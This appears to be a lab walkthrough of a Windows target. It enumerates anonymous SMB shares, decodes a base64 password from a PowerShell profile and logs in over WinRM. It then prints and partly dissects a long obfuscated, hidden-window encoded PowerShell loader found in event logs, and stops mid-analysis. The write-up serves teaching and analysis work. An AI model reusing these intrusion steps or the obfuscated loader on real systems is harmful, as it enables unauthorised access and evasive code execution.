Summary

We’ll exploit this machine via exposed credentials in an SMB share. We’ll be able to escalate our privileges to Administrator due by leveraging an obfuscated PowerShell command for password exposure.

Enumeration

Nmap

We’ll begin with an nmap scan against all TCP ports.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -p- 192.168.120.140
Starting Nmap 7.91 ( <https://nmap.org> ) at 2021-07-14 19:13 EDT
Nmap scan report for 192.168.120.140
Host is up (0.031s latency).
Not shown: 65526 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
...

Let’s focus on SMB.

Anonymous SMB Enumeration

We can try to connect as anonymous and list the shares.

┌──(kali㉿kali)-[~]
└─$ smbclient -L 192.168.120.140 -U " "%" "

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Scripts$        Disk
        Users$          Disk

We’ll discover two non-standard shares, Scripts and Users∗∗and∗∗Users. Let’s begin enumerating their contents.

┌──(kali㉿kali)-[~]
└─$ smbclient \\\\\\\\192.168.120.140\\\\scripts$ -U " "%" "
Try "help" to get a list of possible commands.
smb: \\> ls
  .                                   D        0  Tue Jun  1 10:57:45 2021
  ..                                  D        0  Tue Jun  1 10:57:45 2021
  defrag.ps1                          A       49  Tue Jun  1 10:57:45 2021
  fix-printservers.ps1                A      283  Tue Jun  1 10:57:45 2021
  install-features.ps1                A       81  Tue Jun  1 10:57:45 2021
  purge-temp.ps1                      A      105  Tue Jun  1 10:57:45 2021

                7706623 blocks of size 4096. 2741171 blocks available
...

Viewing the contents of fix-printservers.ps1, we discover a potential username called scripting.

┌──(kali㉿kali)-[~]
└─$ smbclient \\\\\\\\192.168.120.140\\\\scripts$ -U " "%" "
Try "help" to get a list of possible commands.
smb: \\> ls
  .                                   D        0  Tue Jun  1 10:57:45 2021
  ..                                  D        0  Tue Jun  1 10:57:45 2021
  defrag.ps1                          A       49  Tue Jun  1 10:57:45 2021
  fix-printservers.ps1                A      283  Tue Jun  1 10:57:45 2021
  install-features.ps1                A       81  Tue Jun  1 10:57:45 2021
  purge-temp.ps1                      A      105  Tue Jun  1 10:57:45 2021

                7706623 blocks of size 4096. 3768222 blocks available
smb: \\> get fix-printservers.ps1
getting file \\fix-printservers.ps1 of size 283 as fix-printservers.ps1 (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)

┌──(kali㉿kali)-[~]
└─$ cat fix-printservers.ps1
$credential = New-Object System.Management.Automation.PSCredential ('scripting', $password)
$spooler = Get-WmiObject -Class Win32_Service -ComputerName (Read-Host -Prompt 'Server Name') -Credential $credential -Filter "Name='spooler'"
$spooler.stopservice()
$spooler.startservice()
...

We discover another PowerShell script, profile.ps1, in the scripting\Documents\WIndowsPowerShell directory of the Users$ share.

┌──(kali㉿kali)-[~]
└─$ smbclient \\\\\\\\192.168.120.140\\\\users$ -U " "%" "
Try "help" to get a list of possible commands.
smb: \\> cd scripting\\Documents\\WIndowsPowerShell
smb: \\scripting\\Documents\\WIndowsPowerShell\\> ls
  .                                   D        0  Tue Jun  1 11:00:27 2021
  ..                                  D        0  Tue Jun  1 11:00:27 2021
  profile.ps1                        AH      239  Tue Jun  1 11:00:27 2021

                7706623 blocks of size 4096. 2744217 blocks available
smb: \\scripting\\Documents\\WIndowsPowerShell\\> get profile.ps1
getting file \\scripting\\Documents\\WIndowsPowerShell\\profile.ps1 of size 239 as profile.ps1 (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)

Let’s retrieve this script and output its contents. We discover a base64 encoded string.

┌──(kali㉿kali)-[~]
└─$ cat profile.ps1
$password = ConvertTo-SecureString "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgByAGkAZQBuAGQAcwBEAG8AbgB0AEwAZQB0AEYAcgBpAGUAbgBkAHMAQgBhAHMAZQA2ADQAUABhAHMAcwB3AG8AcgBkAHMA')))" -AsPlainText -Force

Exploitation

Decoding this string reveals what seems to be a password. Let’s venture a guess that this password belongs to the scripting user we discovered earlier.

┌──(kali㉿kali)-[~]
└─$ echo 'RgByAGkAZQBuAGQAcwBEAG8AbgB0AEwAZQB0AEYAcgBpAGUAbgBkAHMAQgBhAHMAZQA2ADQAUABhAHMAcwB3AG8AcgBkAHMA' | base64 -d
FriendsDontLetFriendsBase64Passwords
...

Windows Remote Management

We’ll use the credentials discovered from SMB to log in directly into a WinRM session.

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 192.168.120.140 -u scripting -p 'FriendsDontLetFriendsBase64Passwords'

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\\Users\\scripting\\Documents> whoami
compromised\\scripting
...

Nice! We’ve obtained local access on the target.

Escalation

PowerShell Deobfuscation

Located on the target machine is a C:\Troubleshooting directory containing a logs.ps1 file. Executing this script will create a CSV file named powershell-logs.csv.

*Evil-WinRM* PS C:\\> cd Troubleshooting
*Evil-WinRM* PS C:\\Troubleshooting> ls

    Directory: C:\\Troubleshooting

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        7/13/2021   7:48 AM             96 logs.ps1
*Evil-WinRM* PS C:\\Troubleshooting> type logs.ps1
Get-EventLog -LogName 'Windows Powershell' | Export-CSV C:\\Troubleshooting\\powershell-logs.csv
*Evil-WinRM* PS C:\\Troubleshooting> ./logs.ps1
*Evil-WinRM* PS C:\\Troubleshooting> ls

    Directory: C:\\Troubleshooting

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        7/13/2021   7:48 AM             96 logs.ps1
-a----        7/14/2021   6:06 PM         129043 powershell-logs.csv

We’ll transfer this CSV file to our Kali machine for further enumeration. We can simply grep for powershell.exe* to find an encoded PowerShell command.

┌──(kali㉿kali)-[~]
└─$ cat powershell-logs.csv | grep powershell.exe*
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc JABPAHcAbgBlAGQAIAA9ACAAQAAoACkAOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAJABEAGUAYwBvAGQAZQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEAQQB2AEoAUwBBADMATwBTAE0AMwBKADgAUwB6ADIAegBVAHoAUABLAE0AbABNAEwAUQByAEoAUwBNAHcATABBAFkAcQBXADUAeABlAGwASwBBAEkAQQAwADcAeABrAEgAQgA4AEEAQQBBAEEAPQAiACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBbAHMAdAByAGkAbgBnAF0AOgA6AGoAbwBpAG4AKAAnACcALAAgACgAIAAoADgAMwAsADEAMQA2ACwAOQA3ACwAMQAxADQALAAxADEANgAsADQANQAsADgAMwAsADEAMAA4ACwAMQAwADEALAAxADAAMQAsADEAMQAyACwAMwAyACwANAA1ACwAOAAzACwAMQAwADEALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAwADAALAAxADEANQAsADMAMgAsADUAMwApACAAfAAlAHsAIAAoACAAWwBjAGgAYQByAF0AWwBpAG4AdABdACAAJABfACkAfQApACkAIAB8ACAAJgAgACgAKABnAHYAIAAiACoAbQBkAHIAKgAiACkALgBuAGEAbQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBpAG4AJwAnACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBpAGYAKAAkAGUAbgB2ADoAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUAIAAtAGUAcQAgACIAYwBvAG0AcAByAG8AbQBpAHMAZQBkACIAKQAgAHsAZQB4AGkAdAB9AH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMQAxADYALAAxADAAMQAsADEAMQA1ACwAMQAxADYALAA0ADUALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAxADAALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMQAwADUALAAxADEAMQAsADEAMQAwACwAMwAyACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwAMwAyACwANAA1ACwAOAAxACwAMQAxADcALAAxADAANQAsADEAMAAxACwAMQAxADYALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUAKQAgAHwAJQB7ACAAKAAgAFsAYwBoAGEAcgBdAFsAaQBuAHQAXQAgACQAXwApAH0AKQApACAAfAAgACYAIAAoACgAZwB2ACAAIgAqAG0AZAByACoAIgApAC4AbgBhAG0AZQBbADMALAAxADEALAAyAF0ALQBqAG8AaQBuACcAJwApAH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMwA2ACwAMQAxADEALAAxADEAOQAsADEAMQAwACwAMQAwADEALAAxADAAMAAsADkAMQAsADUAMAAsADkAMwAsADQANgAsADgANAAsADEAMQAxACwAOAAzACwAMQAxADYALAAxADEANAAsADEAMAA1ACwAMQAxADAALAAxADAAMwAsADQAMAAsADQAMQAsADMAMgAsADQANQAsADEAMQAwACwAMQAwADEALAAzADIALAAzADkALAAxADAANQAsADEAMAAyACwANAAwACwAMwA2ACwAMQAwADEALAAxADEAMAAsADEAMQA4ACwANQA4ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADcALAAxADEANgAsADEAMAAxACwAMQAxADQALAAxADEAMAAsADkANwAsADEAMAA5ACwAMQAwADEALAAzADIALAA0ADUALAAxADAAMQAsADEAMQAzACwAMwAyACwAMwA0ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADQALAAxADEAMQAsADEAMAA5ACwAMQAwADUALAAxADEANQAsADEAMAAxACwAMQAwADAALAAzADQALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADkALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADIALAA2ADkALAAxADAAOAAsADEAMQA1ACwAMQAwADEALAAzADIALAAxADIAMwAsADMANgAsADEAMAA5ACwAMQAxADUALAAzADIALAA2ADEALAAzADIALAA0ADAALAA3ADgALAAxADAAMQAsADEAMQA5ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMwAyACwAOAAzACwAMQAyADEALAAxADEANQAsADEAMQA2ACwAMQAwADEALAAxADAAOQAsADQANgAsADcAMwAsADcAOQAsADQANgAsADcANwAsADEAMAAxACwAMQAwADkALAAxADEAMQAsADEAMQA0ACwAMQAyADEALAA4ADMALAAxADEANgAsADEAMQA0ACwAMQAwADEALAA5ADcALAAxADAAOQAsADQAMAAsADMANgAsADYAOAAsADEAMAAxACwAOQA5ACwAMQAxADEALAAxADAAMAAsADEAMAAxACwAMQAwADAALAA0ADQALAA0ADgALAA0ADQALAAzADYALAA2ADgALAAxADAAMQAsADkAOQAsADEAMQAxACwAMQAwADAALAAxADAAMQAsADEAMAAwACwANAA2ACwANwA2ACwAMQAwADEALAAxADEAMAAsADEAMAAzACwAMQAxADYALAAxADAANAAsADQAMQAsADQAMQAsADEAMgA1ACkAIAB8ACUAewAgACgAIABbAGMAaABhAHIAXQBbAGkAbgB0AF0AIAAkAF8AKQB9ACkAKQAgAHwAIAAmACAAKAAoAGcAdgAgACIAKgBtAGQAcgAqACIAKQAuAG4AYQBtAGUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgAnACcAKQB9ADsAJABPAHcAbgBlAGQAIAArAD0AIAB7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEsAQQBCAE8AQQBHAFUAQQBkAHcAQQB0AEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBVAHcAQgA1AEEASABNAEEAZABBAEIAbABBAEcAMABBAEwAZwBCAEoAQQBFADgAQQBMAGcAQgBUAEEASABRAEEAYwBnAEIAbABBAEcARQBBAGIAUQBCAFMAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEEAbwBBAEUANABBAFoAUQBCADMAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAEEAYgBRAEEAdQBBAEUAawBBAFQAdwBBAHUAQQBFAE0AQQBiAHcAQgB0AEEASABBAEEAYwBnAEIAbABBAEgATQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQQB1AEEARQBjAEEAVwBnAEIAcABBAEgAQQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAawBBAEcAMABBAGMAdwBBAHMAQQBDAEEAQQBXAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFAGsAQQBUAHcAQQB1AEEARQBNAEEAYgB3AEIAdABBAEgAQQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEUATQBBAGIAdwBCAHQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcABBAEcAOABBAGIAZwBCAE4AQQBHADgAQQBaAEEAQgBsAEEARgAwAEEATwBnAEEANgBBAEUAUQBBAFoAUQBCAGoAQQBHADgAQQBiAFEAQgB3AEEASABJAEEAWgBRAEIAegBBAEgATQBBAEsAUQBBAHAAQQBDAGsAQQBMAGcAQgB5AEEARwBVAEEAWQBRAEIAawBBAEgAUQBBAGIAdwBCAGwAQQBHADQAQQBaAEEAQQBvAEEAQwBrAEEAIgApACkAIAB8ACAAaQBlAHgAfQA7ACQATwB3AG4AZQBkACAAfAAgACUAIAB7ACQAXwB8AGkAZQB4AH0A
...

Let’s review the parameters at play in this case:

  • NoP (-NoProfile) - Does not load the Windows PowerShell profile
  • NonI (-NonInteractive) - Does not present an interactive prompt to the user
  • W Hidden (-WindowStyle) - Sets the window style to hidden
  • Exec Bypass (-ExecutionPolicy) - Sets the default execution policy for the current session
  • Enc (-EncodedCommand) - Accepts a base64 encoded string version of a command

Decoding the Initial Command

Our only concern now is handling the base64 encoded payload. We can safely decode this without executing any the commands contained within.

$Base64Encoded = 'JABPAHcAbgBlAGQAIAA9ACAAQAAoACkAOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAJABEAGUAYwBvAGQAZQBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEgANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEAQQB2AEoAUwBBADMATwBTAE0AMwBKADgAUwB6ADIAegBVAHoAUABLAE0AbABNAEwAUQByAEoAUwBNAHcATABBAFkAcQBXADUAeABlAGwASwBBAEkAQQAwADcAeABrAEgAQgA4AEEAQQBBAEEAPQAiACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBbAHMAdAByAGkAbgBnAF0AOgA6AGoAbwBpAG4AKAAnACcALAAgACgAIAAoADgAMwAsADEAMQA2ACwAOQA3ACwAMQAxADQALAAxADEANgAsADQANQAsADgAMwAsADEAMAA4ACwAMQAwADEALAAxADAAMQAsADEAMQAyACwAMwAyACwANAA1ACwAOAAzACwAMQAwADEALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAwADAALAAxADEANQAsADMAMgAsADUAMwApACAAfAAlAHsAIAAoACAAWwBjAGgAYQByAF0AWwBpAG4AdABdACAAJABfACkAfQApACkAIAB8ACAAJgAgACgAKABnAHYAIAAiACoAbQBkAHIAKgAiACkALgBuAGEAbQBlAFsAMwAsADEAMQAsADIAXQAtAGoAbwBpAG4AJwAnACkAfQA7ACQATwB3AG4AZQBkACAAKwA9ACAAewBpAGYAKAAkAGUAbgB2ADoAYwBvAG0AcAB1AHQAZQByAG4AYQBtAGUAIAAtAGUAcQAgACIAYwBvAG0AcAByAG8AbQBpAHMAZQBkACIAKQAgAHsAZQB4AGkAdAB9AH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMQAxADYALAAxADAAMQAsADEAMQA1ACwAMQAxADYALAA0ADUALAA5ADkALAAxADEAMQAsADEAMQAwACwAMQAxADAALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMQAwADUALAAxADEAMQAsADEAMQAwACwAMwAyACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwANAA2ACwANQA2ACwAMwAyACwANAA1ACwAOAAxACwAMQAxADcALAAxADAANQAsADEAMAAxACwAMQAxADYALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUAKQAgAHwAJQB7ACAAKAAgAFsAYwBoAGEAcgBdAFsAaQBuAHQAXQAgACQAXwApAH0AKQApACAAfAAgACYAIAAoACgAZwB2ACAAIgAqAG0AZAByACoAIgApAC4AbgBhAG0AZQBbADMALAAxADEALAAyAF0ALQBqAG8AaQBuACcAJwApAH0AOwAkAE8AdwBuAGUAZAAgACsAPQAgAHsAWwBzAHQAcgBpAG4AZwBdADoAOgBqAG8AaQBuACgAJwAnACwAIAAoACAAKAAxADAANQAsADEAMAAyACwAMwAyACwANAAwACwAMwA2ACwAMQAxADEALAAxADEAOQAsADEAMQAwACwAMQAwADEALAAxADAAMAAsADkAMQAsADUAMAAsADkAMwAsADQANgAsADgANAAsADEAMQAxACwAOAAzACwAMQAxADYALAAxADEANAAsADEAMAA1ACwAMQAxADAALAAxADAAMwAsADQAMAAsADQAMQAsADMAMgAsADQANQAsADEAMQAwACwAMQAwADEALAAzADIALAAzADkALAAxADAANQAsADEAMAAyACwANAAwACwAMwA2ACwAMQAwADEALAAxADEAMAAsADEAMQA4ACwANQA4ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADcALAAxADEANgAsADEAMAAxACwAMQAxADQALAAxADEAMAAsADkANwAsADEAMAA5ACwAMQAwADEALAAzADIALAA0ADUALAAxADAAMQAsADEAMQAzACwAMwAyACwAMwA0ACwAOQA5ACwAMQAxADEALAAxADAAOQAsADEAMQAyACwAMQAxADQALAAxADEAMQAsADEAMAA5ACwAMQAwADUALAAxADEANQAsADEAMAAxACwAMQAwADAALAAzADQALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADkALAA0ADEALAAzADIALAAxADIAMwAsADEAMAAxACwAMQAyADAALAAxADAANQAsADEAMQA2ACwAMQAyADUALAAzADIALAA2ADkALAAxADAAOAAsADEAMQA1ACwAMQAwADEALAAzADIALAAxADIAMwAsADMANgAsADEAMAA5ACwAMQAxADUALAAzADIALAA2ADEALAAzADIALAA0ADAALAA3ADgALAAxADAAMQAsADEAMQA5ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACwAMwAyACwAOAAzACwAMQAyADEALAAxADEANQAsADEAMQA2ACwAMQAwADEALAAxADAAOQAsADQANgAsADcAMwAsADcAOQAsADQANgAsADcANwAsADEAMAAxACwAMQAwADkALAAxADEAMQAsADEAMQA0ACwAMQAyADEALAA4ADMALAAxADEANgAsADEAMQA0ACwAMQAwADEALAA5ADcALAAxADAAOQAsADQAMAAsADMANgAsADYAOAAsADEAMAAxACwAOQA5ACwAMQAxADEALAAxADAAMAAsADEAMAAxACwAMQAwADAALAA0ADQALAA0ADgALAA0ADQALAAzADYALAA2ADgALAAxADAAMQAsADkAOQAsADEAMQAxACwAMQAwADAALAAxADAAMQAsADEAMAAwACwANAA2ACwANwA2ACwAMQAwADEALAAxADEAMAAsADEAMAAzACwAMQAxADYALAAxADAANAAsADQAMQAsADQAMQAsADEAMgA1ACkAIAB8ACUAewAgACgAIABbAGMAaABhAHIAXQBbAGkAbgB0AF0AIAAkAF8AKQB9ACkAKQAgAHwAIAAmACAAKAAoAGcAdgAgACIAKgBtAGQAcgAqACIAKQAuAG4AYQBtAGUAWwAzACwAMQAxACwAMgBdAC0AagBvAGkAbgAnACcAKQB9ADsAJABPAHcAbgBlAGQAIAArAD0AIAB7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAEsAQQBCAE8AQQBHAFUAQQBkAHcAQQB0AEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBVAHcAQgA1AEEASABNAEEAZABBAEIAbABBAEcAMABBAEwAZwBCAEoAQQBFADgAQQBMAGcAQgBUAEEASABRAEEAYwBnAEIAbABBAEcARQBBAGIAUQBCAFMAQQBHAFUAQQBZAFEAQgBrAEEARwBVAEEAYwBnAEEAbwBBAEUANABBAFoAUQBCADMAQQBDADAAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBCAFQAQQBIAGsAQQBjAHcAQgAwAEEARwBVAEEAYgBRAEEAdQBBAEUAawBBAFQAdwBBAHUAQQBFAE0AQQBiAHcAQgB0AEEASABBAEEAYwBnAEIAbABBAEgATQBBAGMAdwBCAHAAQQBHADgAQQBiAGcAQQB1AEEARQBjAEEAVwBnAEIAcABBAEgAQQBBAFUAdwBCADAAQQBIAEkAQQBaAFEAQgBoAEEARwAwAEEASwBBAEEAawBBAEcAMABBAGMAdwBBAHMAQQBDAEEAQQBXAHcAQgBUAEEASABrAEEAYwB3AEIAMABBAEcAVQBBAGIAUQBBAHUAQQBFAGsAQQBUAHcAQQB1AEEARQBNAEEAYgB3AEIAdABBAEgAQQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBwAEEARwA4AEEAYgBnAEEAdQBBAEUATQBBAGIAdwBCAHQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcABBAEcAOABBAGIAZwBCAE4AQQBHADgAQQBaAEEAQgBsAEEARgAwAEEATwBnAEEANgBBAEUAUQBBAFoAUQBCAGoAQQBHADgAQQBiAFEAQgB3AEEASABJAEEAWgBRAEIAegBBAEgATQBBAEsAUQBBAHAAQQBDAGsAQQBMAGcAQgB5AEEARwBVAEEAWQBRAEIAawBBAEgAUQBBAGIAdwBCAGwAQQBHADQAQQBaAEEAQQBvAEEAQwBrAEEAIgApACkAIAB8ACAAaQBlAHgAfQA7ACQATwB3AG4AZQBkACAAfAAgACUAIAB7ACQAXwB8AGkAZQB4AH0A'
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($Base64Encoded))

Completing this step reveals the below command, which contains more obfuscated code in a single line:

$Owned = @();$Owned += {$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")};$Owned += {[string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {if($env:computername -eq "compromised") {exit}};$Owned += {[string]::join('', ( (105,102,32,40,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,56,46,56,46,56,46,56,32,45,81,117,105,101,116,41,32,123,101,120,105,116,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {[string]::join('', ( (105,102,32,40,36,111,119,110,101,100,91,50,93,46,84,111,83,116,114,105,110,103,40,41,32,45,110,101,32,39,105,102,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,32,45,101,113,32,34,99,111,109,112,114,111,109,105,115,101,100,34,41,32,123,101,120,105,116,125,39,41,32,123,101,120,105,116,125,32,69,108,115,101,32,123,36,109,115,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,40,36,68,101,99,111,100,101,100,44,48,44,36,68,101,99,111,100,101,100,46,76,101,110,103,116,104,41,41,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')};$Owned += {[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgByAGUAYQBkAHQAbwBlAG4AZAAoACkA")) | iex};$Owned | % {$_|iex}

Dissecting the Command

The code itself is delimited using a ; character. We can break it down into individual lines by splitting the code at those points.

┌──(kali㉿kali)-[~]
└─$ cut -d ';' --output-delimiter=$'\\n' -f1- ps.txt > multi-line.txt

┌──(kali㉿kali)-[~]
└─$ cat -n multi-line.txt
     1  $Owned = @()
     2  $Owned += {$Decoded = [System.Convert]::FromBase64String("H4sIAAAAAAAEAAvJSA3OSM3J8Sz2zUzPKMlMLQrJSMwLAYqW5xelKAIA07xkHB8AAAA=")}
     3  $Owned += {[string]::join('', ( (83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
     4  $Owned += {if($env:computername -eq "compromised") {exit}}
     5  $Owned += {[string]::join('', ( (105,102,32,40,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,56,46,56,46,56,46,56,32,45,81,117,105,101,116,41,32,123,101,120,105,116,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
     6  $Owned += {[string]::join('', ( (105,102,32,40,36,111,119,110,101,100,91,50,93,46,84,111,83,116,114,105,110,103,40,41,32,45,110,101,32,39,105,102,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,32,45,101,113,32,34,99,111,109,112,114,111,109,105,115,101,100,34,41,32,123,101,120,105,116,125,39,41,32,123,101,120,105,116,125,32,69,108,115,101,32,123,36,109,115,32,61,32,40,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,73,79,46,77,101,109,111,114,121,83,116,114,101,97,109,40,36,68,101,99,111,100,101,100,44,48,44,36,68,101,99,111,100,101,100,46,76,101,110,103,116,104,41,41,125) |%{ ( [char][int] $_)})) | & ((gv "*mdr*").name[3,11,2]-join'')}
     7  $Owned += {[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAAUwB0AHIAZQBhAG0AKAAkAG0AcwAsACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgByAGUAYQBkAHQAbwBlAG4AZAAoACkA")) | iex}
     8  $Owned | % {$_|iex}

With the code presented on individual lines, we’re ready to conduct some initial analysis before decoding each element.

  • Line 3 - An array is declared, and the script is storing commands as elements of that array
  • Lines 2, 7 - There are two base64 encoded strings
  • Line 4 - There is a readable command that will force an exit if the script is executed on a machine named compromised
  • Lines 3, 5, 6 - There are three obfuscated commands stored as a character array
  • Line 8 - Finally, the script loops through the array and executes the code within each array element

Dissecting Each Line

We’ll notice the third line element is performing two distinct actions. First, it creates a string by looping through an array of integers and converting them to their ASCII equivalent. Next, the array is piped into another action grabbing a variable that contains the letters mdr. Once these characters are in positions 3, 11, and 2, they are joined together and executed as a command.

